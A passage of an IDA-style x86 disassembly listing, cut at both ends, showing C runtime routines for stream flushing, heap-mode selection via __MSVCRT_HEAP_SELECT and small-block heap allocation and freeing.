near ; CODE XREF: sub_41DBF0+2Dp ; sub_41DBF0+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41DB62 push esi call sub_41DBF0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41DB62: ; CODE XREF: sub_41DB50+7j push esi call sub_41DB8B test eax, eax pop ecx jz short loc_41DB72 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DB72: ; CODE XREF: sub_41DB50+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41DB87 push dword ptr [esi+10h] call sub_4238DF neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41DB87: ; CODE XREF: sub_41DB50+26j xor eax, eax pop esi retn sub_41DB50 endp ; =============== S U B R O U T I N E ======================================= sub_41DB8B proc near ; CODE XREF: sub_41B05B+1Ap ; ___:0041D223p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41DBD8 test ax, 108h jz short loc_41DBD8 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41DBD8 push edi push eax push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, edi jnz short loc_41DBD1 mov eax, [esi+0Ch] test al, 80h jz short loc_41DBD8 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41DBD8 ; --------------------------------------------------------------------------- loc_41DBD1: ; CODE XREF: sub_41DB8B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41DBD8: ; CODE XREF: sub_41DB8B+14j ; sub_41DB8B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41DB8B endp ; =============== S U B R O U T I N E ======================================= sub_41DBE7 proc near ; CODE XREF: sub_4239DBp push 1 call sub_41DBF0 pop ecx retn sub_41DBE7 endp ; =============== S U B R O U T I N E ======================================= sub_41DBF0 proc near ; CODE XREF: sub_41DB50+Ap ; sub_41DBE7+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DC5A0, esi jle short loc_41DC4E loc_41DC01: ; CODE XREF: sub_41DBF0+5Cj mov eax, dword_4DB598 mov eax, [eax+esi*4] test eax, eax jz short loc_41DC45 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41DC45 cmp [esp+0Ch+arg_0], 1 jnz short loc_41DC2B push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DC45 inc ebx jmp short loc_41DC45 ; --------------------------------------------------------------------------- loc_41DC2B: ; CODE XREF: sub_41DBF0+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41DC45 test cl, 2 jz short loc_41DC45 push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41DC45 or edi, eax loc_41DC45: ; CODE XREF: sub_41DBF0+1Bj ; sub_41DBF0+23j ... inc esi cmp esi, dword_4DC5A0 jl short loc_41DC01 loc_41DC4E: ; CODE XREF: sub_41DBF0+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41DC59 mov eax, edi loc_41DC59: ; CODE XREF: sub_41DBF0+65j pop edi pop esi pop ebx retn sub_41DBF0 endp ; =============== S U B R O U T I N E ======================================= sub_41DC5D proc near ; CODE XREF: ___:0041DDC0p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 call near ptr 2680000h nop cmp word ptr [eax], 5A4Dh jnz short loc_41DC88 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41DC88 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41DC88: ; CODE XREF: sub_41DC5D+15j ; sub_41DC5D+1Cj pop esi retn sub_41DC5D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_41BB20 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h call near ptr 26C0578h nop test eax, eax jz short loc_41DCCD cmp dword ptr [ebp-88h], 2 jnz short loc_41DCCD cmp dword ptr [ebp-94h], 5 jb short loc_41DCCD push 1 pop eax jmp loc_41DDCF ; --------------------------------------------------------------------------- loc_41DCCD: ; CODE XREF: ___:0041DCB1j ; ___:0041DCBAj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call near ptr 2880000h nop test eax, eax jz loc_41DDBC xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41DD0F loc_41DCFC: ; CODE XREF: ___:0041DD0Dj mov al, [ecx] cmp al, 61h jl short loc_41DD0A cmp al, 7Ah jg short loc_41DD0A sub al, 20h mov [ecx], al loc_41DD0A: ; CODE XREF: ___:0041DD00j ; ___:0041DD04j inc ecx cmp [ecx], bl jnz short loc_41DCFC loc_41DD0F: ; CODE XREF: ___:0041DCFAj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41BE70 add esp, 0Ch test eax, eax jnz short loc_41DD31 lea eax, [ebp-122Ch] jmp short loc_41DD7A ; --------------------------------------------------------------------------- loc_41DD31: ; CODE XREF: ___:0041DD27j lea eax, [ebp-19Ch] push 104h push eax push ebx nop call near ptr 2660000h cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41DD65 loc_41DD52: ; CODE XREF: ___:0041DD63j mov al, [ecx] cmp al, 61h jl short loc_41DD60 cmp al, 7Ah jg short loc_41DD60 sub al, 20h mov [ecx], al loc_41DD60: ; CODE XREF: ___:0041DD56j ; ___:0041DD5Aj inc ecx cmp [ecx], bl jnz short loc_41DD52 loc_41DD65: ; CODE XREF: ___:0041DD50j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_41B900 pop ecx pop ecx loc_41DD7A: ; CODE XREF: ___:0041DD2Fj cmp eax, ebx jz short loc_41DDBC push 2Ch push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx jz short loc_41DDBC inc eax mov ecx, eax cmp [eax], bl jz short loc_41DDA1 loc_41DD93: ; CODE XREF: ___:0041DD9Fj cmp byte ptr [ecx], 3Bh jnz short loc_41DD9C mov [ecx], bl jmp short loc_41DD9D ; --------------------------------------------------------------------------- loc_41DD9C: ; CODE XREF: ___:0041DD96j inc ecx loc_41DD9D: ; CODE XREF: ___:0041DD9Aj cmp [ecx], bl jnz short loc_41DD93 loc_41DDA1: ; CODE XREF: ___:0041DD91j push 0Ah push ebx push eax call sub_41BBA6 add esp, 0Ch cmp eax, 2 jz short loc_41DDCF cmp eax, 3 jz short loc_41DDCF cmp eax, 1 jz short loc_41DDCF loc_41DDBC: ; CODE XREF: ___:0041DCE6j ; ___:0041DD7Cj ... lea eax, [ebp-4] push eax call sub_41DC5D cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41DDCF: ; CODE XREF: ___:0041DCC8j ; ___:0041DDB0j ... pop ebx leave retn ; --------------------------------------------------------------------------- dw 0C033h dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 47234BE8h dd 0A3C08502h, 4DC904h, 93E83674h, 83FFFFFEh, 8A303F8h dd 75004DC9h, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh dd 0E8187502h, 0B5Eh, 0F75C085h, 0C90435FFh, 0E890004Dh dd 24721D8h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DC904h dd 21BEE890h, 0C0850238h, 4DC8FCA3h, 0C3017500h, 4244C8Bh dd 0C8F42583h, 8300004Dh, 4DC8F825h, 16A0000h, 4DC8F0A3h dd 0D8900h, 0C7004DC9h, 4DC8E805h, 1000h db 0, 58h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41DE77 proc near ; CODE XREF: sub_41B0B1+17p ; sub_41B202+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4DC8F8 lea ecx, [eax+eax*4] mov eax, dword_4DC8FC lea ecx, [eax+ecx*4] loc_41DE87: ; CODE XREF: sub_41DE77+26j cmp eax, ecx jnb short loc_41DE9F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41DEA1 add eax, 14h jmp short loc_41DE87 ; --------------------------------------------------------------------------- loc_41DE9F: ; CODE XREF: sub_41DE77+12j xor eax, eax locret_41DEA1: ; CODE XREF: sub_41DE77+21j retn sub_41DE77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DEA2 proc near ; CODE XREF: sub_41B0B1+23p ; sub_41B202+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41E1C6 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41DF78 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF06 push 3Fh pop edx loc_41DF06: ; CODE XREF: sub_41DEA2+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41DF5A cmp edx, 20h jnb short loc_41DF31 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41DF52 ; --------------------------------------------------------------------------- loc_41DF31: ; CODE XREF: sub_41DEA2+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41DF52: ; CODE XREF: sub_41DEA2+86j ; sub_41DEA2+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41DF5D ; --------------------------------------------------------------------------- loc_41DF5A: ; CODE XREF: sub_41DEA2+6Aj mov ecx, [ebp+var_4] loc_41DF5D: ; CODE XREF: sub_41DEA2+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41DF78: ; CODE XREF: sub_41DEA2+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF86 push 3Fh pop edx loc_41DF86: ; CODE XREF: sub_41DEA2+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E029 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41DFAB mov ebx, esi loc_41DFAB: ; CODE XREF: sub_41DEA2+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41DFBD mov edx, esi loc_41DFBD: ; CODE XREF: sub_41DEA2+117j cmp ebx, edx jz short loc_41E024 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E00C cmp ebx, 20h jnb short loc_41DFED mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E00C ; --------------------------------------------------------------------------- loc_41DFED: ; CODE XREF: sub_41DEA2+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E00C: ; CODE XREF: sub_41DEA2+128j ; sub_41DEA2+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E024: ; CODE XREF: sub_41DEA2+11Dj mov esi, [ebp+arg_4] jmp short loc_41E02C ; --------------------------------------------------------------------------- loc_41E029: ; CODE XREF: sub_41DEA2+EDj mov ebx, [ebp+arg_0] loc_41E02C: ; CODE XREF: sub_41DEA2+185j cmp [ebp+var_C], 0 jnz short loc_41E03A cmp ebx, edx jz loc_41E0BB loc_41E03A: ; CODE XREF: sub_41DEA2+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E0BB mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E092 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E081 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E081: ; CODE XREF: sub_41DEA2+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E0BB ; --------------------------------------------------------------------------- loc_41E092: ; CODE XREF: sub_41DEA2+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E0A8 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E0A8: ; CODE XREF: sub_41DEA2+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E0BB: ; CODE XREF: sub_41DEA2+192j ; sub_41DEA2+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41E1C6 mov eax, dword_4DC8F4 test eax, eax jz loc_41E1B8 mov ecx, dword_4DC8EC mov esi, dword_4271C0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_4DC8EC mov eax, dword_4DC8F4 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DC8F4 mov ecx, dword_4DC8EC mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DC8F4 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DC8F4 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E149 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DC8F4 loc_41E149: ; CODE XREF: sub_41DEA2+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41E1B8 push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_4DC8F4 push dword ptr [eax+10h] push 0 push dword_4DC904 nop call near ptr 2790000h mov eax, dword_4DC8F8 mov edx, dword_4DC8FC lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DC8F4 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41CC90 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DC8F8 cmp eax, dword_4DC8F4 jbe short loc_41E1AE sub [ebp+arg_0], 14h loc_41E1AE: ; CODE XREF: sub_41DEA2+306j mov eax, dword_4DC8FC mov dword_4DC8F0, eax loc_41E1B8: ; CODE XREF: sub_41DEA2+234j ; sub_41DEA2+2ABj mov eax, [ebp+arg_0] mov dword_4DC8EC, edi mov dword_4DC8F4, eax loc_41E1C6: ; CODE XREF: sub_41DEA2+38j ; sub_41DEA2+227j pop edi pop esi pop ebx leave retn sub_41DEA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E1CB proc near ; CODE XREF: sub_41B202+77p ; sub_41B513+18p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DC8F8 mov edx, dword_4DC8FC push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41E20B or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41E21B ; --------------------------------------------------------------------------- loc_41E20B: ; CODE XREF: sub_41E1CB+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41E21B: ; CODE XREF: sub_41E1CB+3Ej mov eax, dword_4DC8F0 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41E242 loc_41E229: ; CODE XREF: sub_41E1CB+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E242 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41E229 loc_41E242: ; CODE XREF: sub_41E1CB+5Cj ; sub_41E1CB+6Aj cmp ebx, [ebp+var_4] jnz short loc_41E2C0 mov ebx, edx loc_41E249: ; CODE XREF: sub_41E1CB+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E265 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E263 add ebx, 14h jmp short loc_41E249 ; --------------------------------------------------------------------------- loc_41E263: ; CODE XREF: sub_41E1CB+91j cmp ebx, eax loc_41E265: ; CODE XREF: sub_41E1CB+83j jnz short loc_41E2C0 loc_41E267: ; CODE XREF: sub_41E1CB+ADj cmp ebx, [ebp+var_4] jnb short loc_41E27D cmp dword ptr [ebx+8], 0 jnz short loc_41E27A add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41E267 ; --------------------------------------------------------------------------- loc_41E27A: ; CODE XREF: sub_41E1CB+A5j cmp ebx, [ebp+var_4] loc_41E27D: ; CODE XREF: sub_41E1CB+9Fj jnz short loc_41E2A5 mov ebx, edx loc_41E281: ; CODE XREF: sub_41E1CB+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E295 cmp dword ptr [ebx+8], 0 jnz short loc_41E293 add ebx, 14h jmp short loc_41E281 ; --------------------------------------------------------------------------- loc_41E293: ; CODE XREF: sub_41E1CB+C1j cmp ebx, eax loc_41E295: ; CODE XREF: sub_41E1CB+BBj jnz short loc_41E2A5 call sub_41E4D4 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41E2B9 loc_41E2A5: ; CODE XREF: sub_41E1CB:loc_41E27Dj ; sub_41E1CB:loc_41E295j push ebx call sub_41E585 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41E2C0 loc_41E2B9: ; CODE XREF: sub_41E1CB+D8j xor eax, eax jmp loc_41E4CF ; --------------------------------------------------------------------------- loc_41E2C0: ; CODE XREF: sub_41E1CB+7Aj ; sub_41E1CB:loc_41E265j ... mov dword_4DC8F0, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41E2E7 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E31E loc_41E2E7: ; CODE XREF: sub_41E1CB+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41E31B loc_41E304: ; CODE XREF: sub_41E1CB+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41E304 loc_41E31B: ; CODE XREF: sub_41E1CB+137j mov edx, [ebp+var_4] loc_41E31E: ; CODE XREF: sub_41E1CB+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41E347 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41E347: ; CODE XREF: sub_41E1CB+16Dj ; sub_41E1CB+183j test ecx, ecx jl short loc_41E350 shl ecx, 1 inc edi jmp short loc_41E347 ; --------------------------------------------------------------------------- loc_41E350: ; CODE XREF: sub_41E1CB+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41E36D push 3Fh pop esi loc_41E36D: ; CODE XREF: sub_41E1CB+19Dj cmp esi, edi jz loc_41E482 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E3DE cmp edi, 20h jge short loc_41E3AD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3AD: ; CODE XREF: sub_41E1CB+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3DB: ; CODE XREF: sub_41E1CB+1D6j ; sub_41E1CB+203j mov ebx, [ebp+arg_0] loc_41E3DE: ; CODE XREF: sub_41E1CB+1B0j ; sub_41E1CB+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41E48E mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E47F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41E450 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E43E mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41E43E: ; CODE XREF: sub_41E1CB+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41E47F ; --------------------------------------------------------------------------- loc_41E450: ; CODE XREF: sub_41E1CB+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E469 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41E469: ; CODE XREF: sub_41E1CB+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41E47F: ; CODE XREF: sub_41E1CB+24Ej ; sub_41E1CB+283j mov ecx, [ebp+var_8] loc_41E482: ; CODE XREF: sub_41E1CB+1A4j test ecx, ecx jz short loc_41E491 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41E491 ; --------------------------------------------------------------------------- loc_41E48E: ; CODE XREF: sub_41E1CB+229j mov ecx, [ebp+var_8] loc_41E491: ; CODE XREF: sub_41E1CB+2B9j ; sub_41E1CB+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41E4C7 cmp ebx, dword_4DC8F4 jnz short loc_41E4C7 mov ecx, [ebp+var_4] cmp ecx, dword_4DC8EC jnz short loc_41E4C7 and dword_4DC8F4, 0 loc_41E4C7: ; CODE XREF: sub_41E1CB+2E0j ; sub_41E1CB+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41E4CF: ; CODE XREF: sub_41E1CB+F0j pop edi pop esi pop ebx leave retn sub_41E1CB endp ; =============== S U B R O U T I N E ======================================= sub_41E4D4 proc near ; CODE XREF: sub_41E1CB+CCp mov eax, dword_4DC8F8 mov ecx, dword_4DC8E8 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41E517 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DC8FC push edi push dword_4DC904 nop call near ptr 2840000h cmp eax, edi jz short loc_41E567 add dword_4DC8E8, 10h mov dword_4DC8FC, eax mov eax, dword_4DC8F8 loc_41E517: ; CODE XREF: sub_41E4D4+11j mov ecx, dword_4DC8FC push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DC904 lea esi, [ecx+eax*4] nop call near ptr 27A0000h cmp eax, edi mov [esi+10h], eax jz short loc_41E567 push 4 push 2000h push 100000h push edi nop call near ptr 2890740h cmp eax, edi mov [esi+0Ch], eax jnz short loc_41E56B push dword ptr [esi+10h] push edi push dword_4DC904 call near ptr 2790000h nop loc_41E567: ; CODE XREF: sub_41E4D4+30j ; sub_41E4D4+67j xor eax, eax jmp short loc_41E582 ; --------------------------------------------------------------------------- loc_41E56B: ; CODE XREF: sub_41E4D4+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DC8F8 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41E582: ; CODE XREF: sub_41E4D4+95j pop edi pop esi retn sub_41E4D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E585 proc near ; CODE XREF: sub_41E1CB+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41E597: ; CODE XREF: sub_41E585+19j test eax, eax jl short loc_41E5A0 shl eax, 1 inc ebx jmp short loc_41E597 ; --------------------------------------------------------------------------- loc_41E5A0: ; CODE XREF: sub_41E585+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41E5B5: ; CODE XREF: sub_41E585+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41E5B5 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi nop call near ptr 2890740h test eax, eax jnz short loc_41E5E8 or eax, 0FFFFFFFFh jmp loc_41E67B ; --------------------------------------------------------------------------- loc_41E5E8: ; CODE XREF: sub_41E585+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41E62E lea eax, [edi+10h] loc_41E5F5: ; CODE XREF: sub_41E585+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41E5F5 loc_41E62E: ; CODE XREF: sub_41E585+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41E66B or [eax+4], edi loc_41E66B: ; CODE XREF: sub_41E585+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41E67B: ; CODE XREF: sub_41E585+5Ej pop edi pop esi pop ebx leave retn sub_41E585 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E680 proc near ; CODE XREF: sub_41B202+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub 